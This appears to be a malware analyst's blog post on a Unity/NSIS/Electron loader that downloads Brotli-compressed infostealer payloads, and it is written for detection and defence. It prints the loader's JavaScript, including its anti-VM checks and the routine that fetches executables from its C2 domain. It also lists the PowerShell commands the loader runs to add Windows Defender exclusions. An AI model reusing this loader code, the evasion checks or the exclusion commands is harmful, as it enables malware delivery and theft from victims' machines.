LinaStealer Unity NSIS Electron Loader: Multi-Stage Infostealer Campaign Analysis

Multi-stage loader analysis abusing Unity + NSIS + Electron to deliver a Brotli-compressed infostealer payload.

2/8/202612 min read
On this page

LinaStealer Unity NSIS Electron Loader: Multi-Stage Infostealer Campaign Analysis

I picked this sample as a learning exercise because it looked relatively quiet in the wild yet had enough depth to practice a full chain analysis. As I went along what stood out to me was the mix of legitimate frameworks (Unity, NSIS, Electron) used for delivery, which made it a good case study for tracing intent across stages and documenting this campaign.

Executive Summary

I analyzed a multi-stage loader campaign that leverages legitimate development frameworks (Unity, Electron, Node.js) to deploy an information stealing payload. I observed modern evasion techniques including Brotli compression, Cloudflare infrastructure fronting, anti-VM detection, and Windows Defender exclusion attempts.

Key Findings:

  • Four-stage delivery chain culminating in an infostealer binary
  • Cloudflare-fronted C2 infrastructure (root.linahook.com)
  • Privilege-dependent payload delivery
  • Brotli compression for payload obfuscation
  • Anti-analysis and anti-VM capabilities
  • Failed final payload retrieval due to gated infrastructure

Campaign Architecture

Stage 1: Unity NSIS Wrapper
(Nullsoft PiMP Stub)
Extract
Stage 2: Electron/Node Loader
(romeogolfkilotan.js)
Privilege Check
Admin Check: net session
- Admin: 3 files
- Non-admin: 2 files
Download
Stage 3: Brotli Payload (.exe.br)
Downloaded from C2
Decompress
Stage 4: Final Infostealer
(Not Retrieved - Possibly Gated C2)

Stage 1: Initial Sample Analysis

Packer Identification

Initial triage with PEiD revealed:

Nullsoft PiMP Stub packer

PEiD identified it as NSIS, which is commonly used for legit installers but gets abused by malware all the time.

Extraction

Extraction was straightforward using 7-Zip:

7z x sample.exe -oextracted

Extracted Contents:

  • NSIS core components
  • Plugin DLLs (nsExec.dll, WinShell.dll)
  • app-64.7z (Electron application archive)
  • $PLUGINSDIR directory
  • Electron framework artifacts: chrome_100_percent.pak
  • Electron framework artifacts: icudtl.dat
  • Electron framework artifacts: LICENSE.electron.txt

Behavioral Observations

Sandbox analysis (Hybrid Analysis, Any.Run) confirmed:

  • Unity-branded installer UI displaying "Installing, please wait..."
  • NSIS module execution
  • Electron process spawning
  • Network connection attempts to root.linahook.com

Key Insight: The Unity installer interface is purely cosmetic. The malicious logic resides entirely within the embedded Electron application.


Electron Loader Analysis: Extracting the JavaScript Payload

Archive Extraction

The Electron application was packaged in ASAR format, an Electron archive type:

npx asar extract app.asar extracted_app

Extracted Files:

  1. defaultIcon_coremain_348.ico - Application icon
  2. package.json - Node.js package manifest
  3. romeogolfkilotan.js - Malicious JavaScript loader

Package Configuration

The package.json revealed the entry point:

{
  "name": "error404",
  "description": "XBOXApp",
  "main": "romeogolfkilotan.js",
  "version": "1.0.0"
}

JavaScript Loader Analysis

The romeogolfkilotan.js file contains the core malicious logic. Below are key code segments:

Hardcoded Infrastructure

const SERVER_URL = "linahook.com";
const KEY = "DA1966FECFE2";

// Download URL construction
const downloadUrl = `https://root.${SERVER_URL}/download/${fileName}`;

Notable characteristics:

  • Minimal obfuscation - infrastructure is hardcoded
  • Simple string concatenation for URL building
  • Consistent naming pattern across infrastructure

Privilege-Based File Selection

let files;
if (isRunningAsAdmin) {
    files = [
        { name: 'save_data', requiresAdmin: true },
        { name: 'stats_db' },
        { name: 'game_cache' }
    ];
} else {
    files = [
        { name: 'stats_db' },
        { name: 'game_cache' }
    ];
    silentLog('Running without admin privileges - limited file access');
}

Analysis:

  • Admin detection determines payload delivery
  • Additional save_data component only delivered to admin-level execution
  • Suggests save_data requires elevated privileges for its operations
  • Likely targets system-level credential stores or protected data

Anti-VM Detection

The loader implements multiple VM detection checks:

const detectVirtualEnvironment = () => {
    const vmIndicators = [
        () => {
            const hostname = os.hostname().toLowerCase();
            const vmNames = ['vm', 'virtual', 'sandbox', 'malware', 'test', 'analysis', 'vbox', 'vmware'];
            return vmNames.some(name => hostname.includes(name));
        },
        () => os.totalmem() < 2 * 1024 * 1024 * 1024,
        () => os.cpus().length < 2,
        () => {
            const username = os.userInfo().username.toLowerCase();
            const suspiciousUsers = ['malware', 'virus', 'sandbox', 'analyst', 'test', 'vm', 'user', 'admin'];
            return suspiciousUsers.some(name => username.includes(name));
        }
    ];

    let vmScore = 0;
    // Scoring logic...
    if (vmScore >= 2) {
        // VM detected, alter behavior
    }
}

Detection Methods:

  1. Hostname analysis - Checks for common VM/analysis keywords
  2. Memory threshold - Flags systems with less than 2GB RAM
  3. CPU core count - Flags systems with less than 2 cores
  4. Username analysis - Checks for analyst/sandbox account names

Evasion Strategy: Uses a scoring system instead of just bailing out. Lets it change behavior subtly instead of obviously crashing, which makes analysis harder.

Timing-Based Detection

const timingBasedDetection = () => {
    const iterations = 100000;
    const start = process.hrtime.bigint();
    let result = 0;
    for (let i = 0; i < iterations; i++) {
        result += Math.sqrt(i) * Math.random();
    }
    const end = process.hrtime.bigint();
    // Analyze execution time for VM artifacts
}

Purpose: timing-based detection is mainly used to evade sandbox analysis and VM detection.


Stage 2: Runtime Behavior Analysis

Process monitoring with Process Monitor (ProcMon) showed the following execution chain:

1. Administrator Privilege Check

node.exe -> cmd.exe /c "net session"

The net session command returns:

  • Success (exit code 0): Running as admin
  • Error (exit code 2): Running as standard user

Purpose: Determines privilege level for conditional payload delivery.


2. Windows Defender Exclusion Attempts

Multiple PowerShell commands were spawned to add Defender exclusions:

powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\AppData"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\CacheData"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\WindowsCache"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\TempData"
powershell -Command "Add-MpPreference -ExclusionPath C:\Users\<user>\AppData\Local\SystemData"

Characteristics:

  • Randomized subdirectory names under %LOCALAPPDATA%
  • Legitimate looking folder names (AppData, CacheData, SystemData)
  • Multiple attempts to establish persistence directories
  • Executed before payload download to evade real-time scanning

3. Privilege Escalation Attempt

The loader attempted to execute:

elevate

Identified Tool: jpassing/elevate

Purpose: The tool allows you to start a program with elevated privileges.


4. Payload Download and Staging

File Requests

The loader requested the following files from the C2:

Admin Context:

  • save_data.exe.br
  • stats_db.exe.br
  • game_cache.exe.br

Non-Admin Context:

  • stats_db.exe.br
  • game_cache.exe.br

Download Process

// Download compressed payload
const response = await fetch(downloadUrl, {
    headers: {
        'User-Agent': 'Mozilla/5.0 ...',
        'X-Key': KEY
    }
});

// Save to disk
fs.writeFileSync(`${fileName}.exe.br`, buffer);

// Decompress using Node's zlib
const compressed = fs.readFileSync(`${fileName}.exe.br`);
const decompressed = zlib.brotliDecompressSync(compressed);
fs.writeFileSync(`${fileName}.exe`, decompressed);

// Clean up compressed file
fs.unlinkSync(`${fileName}.exe.br`);

The payload is Brotli-compressed (.exe.br), which means it stays compressed during download and only gets decompressed right before execution. Static AV cannot scan it until it hits the disk as an actual .exe.


Dynamic Analysis Challenges: FakeNet and TLS Issues

TLS Certificate Validation Issue

Problem: FakeNet-NG's self-signed certificate was rejected by Node.js (this took so long to figure out):

HTTPS request error: unable to verify the first certificate

Solution: Disabled TLS verification in test environment (probably not the best solution but we are already playing with malware so this was a lab-only workaround):

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

Corrupted Brotli File

After resolving TLS issues:

save_data.exe.br downloaded successfully
Decompressing save_data.exe.br to save_data.exe
Error: ERR_ERROR_FORMAT_RESERVED

Root Cause:

Opened up save_data.exe.br and found HTML content from FakeNet's default response page. Not a valid Brotli stream at all.

What actually happened:

Initially thought I was being trolled by the malware - like a nod that they knew I was running FakeNet. But after digging into it, FakeNet just intercepted the request and served its default HTML response when the malware expected a Brotli-compressed executable. The malware tried to decompress it and failed.

What this proved:

  1. The download mechanism works - malware successfully built the URL, made the request, got a response
  2. The decompression logic is real - it actually tried to Brotli decompress what it received
  3. The malware is not faking activity - it is legitimately trying to grab and execute a payload

What this didn't prove:

Whether the C2 is actually live. FakeNet intercepted before the request ever hit root.linahook.com. To know if the real C2 is active, I would have to let the request through to the actual server, and considering I do not know what is on the other side, I am not doing that.

Bottom line: Stage 3 payload was never actually retrieved from the real C2 infrastructure.


Tiny Tweaks To Their Code

To improve observability during analysis:

1. Disabled Self-Deletion:

// COMMENTED OUT for analysis
// fs.unlinkSync(exeBrPath);

This preserved downloaded files on disk for inspection.

2. Enhanced Logging:

Added console output to silentLog() calls to track execution flow.

3. Forced Execution Paths:

Manually triggered specific code branches to observe behavior without meeting runtime conditions. Broke this sample down to stages to closely monitor.


Infrastructure Analysis

Domain Intelligence

Primary C2 Domain:

root.linahook.com

DNS Resolution

Observed IP Addresses:

  • 104.21.28.132
  • 172.67.146.52

ASN: AS13335 (Cloudflare, Inc.)

Issue: Full Cloudflare fronting obscures the true backend infrastructure. Traditional IP-based analysis is ineffective.

Authentication Mechanism

Hardcoded Key:

DA1966FECFE2

Hypothesis: This key is likely used for:

  1. Request authentication on the C2 backend
  2. Payload gating (prevents random access to payloads)
  3. Campaign tracking (different keys = different campaigns)

Validation: Server-side key validation before payload delivery would explain why arbitrary requests fail.


OSINT Intelligence Gathering

Unable to retrieve live payloads, I pivoted to OSINT platforms.

Pattern Matching: Found related samples on malware analysis platforms with identical characteristics:

Related Campaign: Aetna-Themed Distribution

  • Unity-branded installer wrapper
  • NSIS extraction stage
  • Electron/Node.js loader
  • Brotli payload compression
  • Cloudflare-fronted infrastructure
  • Identical URL pattern: /download/<fileName>
  • Similar file naming conventions

Conclusion: I believe this is not a one-off attack but part of a broader Malware-as-a-Service (MaaS) operation with multiple themed campaigns.


Detection Engineering

Behavioral Indicators

Process Chain Anomalies:

node.exe
|-- cmd.exe /c "net session"
|-- powershell.exe -Command "Add-MpPreference -ExclusionPath ..."
`-- elevate.exe

Detection Logic:

Process = "node.exe"
AND CommandLine contains "net session"
AND ParentProcess = "Electron.exe" OR "node.exe"

File System Artifacts:

  • Random directory creation in %LOCALAPPDATA%
  • Presence of .exe.br files (Brotli compressed executables)
  • Files named save_data, stats_db, game_cache without extensions

Network Indicators:

  • Outbound HTTPS to root.linahook.com
  • User-Agent string from Node.js/Electron context
  • Custom headers (e.g., X-Key)

Starter Hunts I'd Run

Quick pivots for triage

// Quick pivot: electron/node doing admin check or Defender tampering
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName in~ ("electron.exe","node.exe")
| where
    // Admin check pattern
    (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("net","session"))
    or
    // Defender exclusion attempt
    (FileName in~ ("powershell.exe","pwsh.exe") and ProcessCommandLine has "Add-MpPreference")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by TimeGenerated desc
// Quick pivot: pull the -ExclusionPath value (if present)
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine has "Add-MpPreference"
| where ProcessCommandLine has "-ExclusionPath"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| order by Timestamp desc

High-Signal Process Chain

  • electron.exe/node.exe -> cmd.exe /c net session
  • electron.exe/node.exe -> powershell.exe Add-MpPreference ...
  • electron.exe/node.exe -> download .exe.br -> decompress -> execute

MITRE ATT&CK Mapping

T1566.001Spearphishing Attachment

Unity installer delivered via phishing

T1204.002User Execution: Malicious File

User executes fake installer

T1059.007Command and Scripting Interpreter: JavaScript

Node.js/Electron loader execution

T1543Create or Modify System Process

Attempted via elevated privileges

T1548Abuse Elevation Control Mechanism

Uses `elevate` tool

T1562.001Impair Defenses: Disable or Modify Tools

Windows Defender exclusions

T1027.002Software Packing

NSIS wrapper and Brotli compression

T1497.001Virtualization/Sandbox Evasion

VM detection checks

T1082System Information Discovery

Hostname, username, CPU, memory checks

T1033Account Discovery

`net session` admin check

T1071.001Web Protocols: HTTPS

HTTPS to Cloudflare-fronted C2

T1105Ingress Tool Transfer

Payload download from C2


Indicators of Compromise (IOCs)

File Hashes

Sample Hash (SHA256):

9fdf4415759c6535a3e7464458954143a7e0bfee97eadcfcf3d635a90caa202f
c7d5aca2305595bcb2c05fb7da6ca08789892d6bdd174fa93fa1afeb744bfa80
f4b1c2b023daf6d549159564728d2e30906c0a3783c36d064ab86d05c2c040c4

Network Indicators

Domains:

linahook.com
root.linahook.com

IP Addresses:

104.21.28.132 (Cloudflare)
172.67.146.52 (Cloudflare)

URLs:

https://root.linahook.com/download/save_data
https://root.linahook.com/download/stats_db
https://root.linahook.com/download/game_cache

File Artifacts

Filenames:

save_data.exe.br
save_data.exe
stats_db.exe.br
stats_db.exe
game_cache.exe.br
game_cache.exe
romeogolfkilotan.js
defaultIcon_coremain_348.ico

File Paths:

%LOCALAPPDATA%\AppData\
%LOCALAPPDATA%\CacheData\
%LOCALAPPDATA%\WindowsCache\
%LOCALAPPDATA%\TempData\
%LOCALAPPDATA%\SystemData\

Registry Keys

Defender Exclusions:

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\
C:\Users\<username>\AppData\Local\AppData
C:\Users\<username>\AppData\Local\CacheData
C:\Users\<username>\AppData\Local\WindowsCache

Authentication Keys

DA1966FECFE2

Conclusions

I observed a well-architected, multi-stage loader with the following characteristics:

Technical Sophistication

  1. Legitimate Framework Abuse: Leverages Unity branding, NSIS installer, and Electron to appear legitimate
  2. Layered Defense Evasion: NSIS extraction, Brotli compression, Cloudflare fronting, anti-VM detection, Defender exclusion
  3. Privilege-Aware Delivery: Conditional payload delivery based on admin status
  4. Modern Infrastructure: Cloud-fronted C2 infrastructure prevents IP-based blocking

Campaign Scale

I believe this is not an isolated incident but part of a broader MaaS ecosystem:

  • Multiple themed campaigns (Unity, Aetna)
  • Consistent infrastructure patterns
  • Reusable loader framework
  • Professional operational security

Analysis Limitations

Final payload not recovered due to:

  • C2 infrastructure gating (key-based authentication)
  • Potential IP/region-based access control
  • Time-based payload availability
  • Lab environment fingerprinting

Despite this limitation, the loader chain was fully reconstructed and validated through:

  • Static binary extraction
  • JavaScript code analysis
  • Runtime behavioral monitoring
  • Controlled lab execution
  • OSINT correlation

References

Malware Analysis Platforms

Tools Used

  • PEiD - Packer identification
  • 7-Zip - NSIS extraction
  • npx/asar - Electron archive extraction
  • Process Monitor - Runtime behavioral analysis
  • FakeNet-NG - Network traffic interception
  • Node.js - JavaScript analysis and controlled execution

More analysis of mine
  • Analyzing A Recent Agent Tesla Sample
    Breaking down a January 2026 Agent Tesla sample that hides its payload until runtime. Covers credential harvesting across 15+ applications, Startup folder persistence, and FTP exfil to attacker infrastructure. Includes ready to use KQL queries for hunting.
  • Windows Loader/Stager Crash Case
    Dynamic analysis of a Windows executable that performed environment checks, re-executed under a new parent, and triggered a CRITICAL_PROCESS_DIED bugcheck without observed payload delivery.
  • Lumma Stealer HTA Loader Analysis
    Static analysis of a Lumma Stealer HTA loader that self-reads, decodes embedded hex payload data, and executes it via eval.